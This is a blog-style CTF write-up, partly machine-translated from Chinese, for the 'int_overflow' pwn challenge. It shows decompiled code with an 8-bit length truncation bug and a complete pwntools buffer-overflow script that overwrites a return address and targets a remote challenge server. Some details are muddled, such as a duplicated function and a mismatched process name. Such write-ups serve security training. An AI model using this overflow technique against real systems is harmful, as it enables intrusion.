当前位置:网站首页>PWN attack and defense world int_ overflow
PWN attack and defense world int_ overflow
2022-07-01 07:35:00 【Day-3】

First , Let's run and look at the file .

Throw in IDA in , View the source code :
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+Ch] [ebp-Ch] BYREF
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v4);
if ( v4 == 1 )
{
login();
}
else
{
if ( v4 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
int login()
{
char buf[512]; // [esp+0h] [ebp-228h] BYREF
char s[40]; // [esp+200h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
memset(buf, 0, sizeof(buf));
puts("Please input your username:");
read(0, s, 0x19u);
printf("Hello %s\n", s);
puts("Please input your passwd:");
read(0, buf, 0x199u);
return check_passwd(buf);
}
char *__cdecl check_passwd(char *s)
{
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
return (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
return strcpy(dest, s);
}
}
After checking , This buf Overflow operation is available . But we need to pay attention , The last two bits he converts to binary need to be greater than 3 Less than or equal to 8.
from pwn import *
context(os='Linux',arch="x86",log_level="debug")
content = 0
elf = ELF("int_overflow")
system_addr = elf.symbols["what_is_this"]
def main():
global day3
if content == 1:
day3 = process("guess_num")
else:
day3 =remote("111.200.241.244",49182)
payload = b'a' * (0x14 + 0x04) + p32(system_addr)
payload = payload.ljust(260,b"a")
day3.sendlineafter("Your choice:","1")
day3.sendlineafter("Please input your username:\n","123")
day3.recvuntil("Please input your passwd:\n")
day3.sendline(payload)
day3.interactive()
main()

obtain Flag.
边栏推荐
- 手机开户选哪个证券公司比较好,哪个更安全
- Reply and explanation on issues related to "online training of network security education in 2022"
- 【目标检测】目标检测界的扛把子YOLOv5(原理详解+修炼指南)
- I bet on performance and won the CTO of the company. I want to build Devops platform!
- Is it safe to do fund fixed investment on Great Wall Securities?
- How do the top ten securities firms open accounts? In addition, is it safe to open a mobile account?
- 电脑有网络,但所有浏览器网页都打不开,是怎么回事?
- 运维管理有什么实用的技巧吗
- PWN攻防世界int_overflow
- base64
猜你喜欢
![[programming training] delete public characters (hash mapping) + team competition (greedy)](/img/cd/63eb9da1e8956df0763797f079b67f.png)
[programming training] delete public characters (hash mapping) + team competition (greedy)

Understanding of Turing test and Chinese Room

奥迪AUDI EDI 项目中供应商需要了解哪些信息?

【编程强训3】字符串中找出连续最长的数字串+数组中出现次数超过一半的数字

Custom events of components ②

H5 页面设置了字体的粗细样式,但是在华为手机里微信打开访问样式不生效?

redisson使用全解——redisson官方文档+注释(上篇)

Paging in servlets and JSPS

2022危险化学品经营单位主要负责人试题及模拟考试

C# Newtonsoft. Use of job in JSON
随机推荐
The H5 page has set the font thickness style, but the wechat access style in Huawei mobile phone doesn't take effect?
论文学习——水文时间序列相似性查询的分析与研究
组件的自定义事件②
H5 页面设置了字体的粗细样式,但是在华为手机里微信打开访问样式不生效?
ctfshow-web352,353(SSRF)
【推荐系统】美团外卖推荐场景的深度位置交互网络DPIN的突破与畅想
The triode is a great invention
The computer has a network, but all browser pages can't be opened. What's the matter?
【微服务|openfeign】Feign的日志记录
Custom events of components ②
Is it safe and reliable for Huatai Securities to open an account? How to open Huatai Securities Account
Microsoft announces open source (Godel) language model chat robot
C language implementation [Sanzi chess game] (step analysis and implementation source code)
Reply and explanation on issues related to "online training of network security education in 2022"
Summary of the concept and advantages of 5g massive MIMO
base64
熱烈祝賀五行和合酒成功掛牌
【mysql学习笔记26】视图
Is it safe to buy funds on the brokerage account
Cadence OrCAD Capture “网络名”相同,但是未连接或连接错误的解放方案之nodename的用法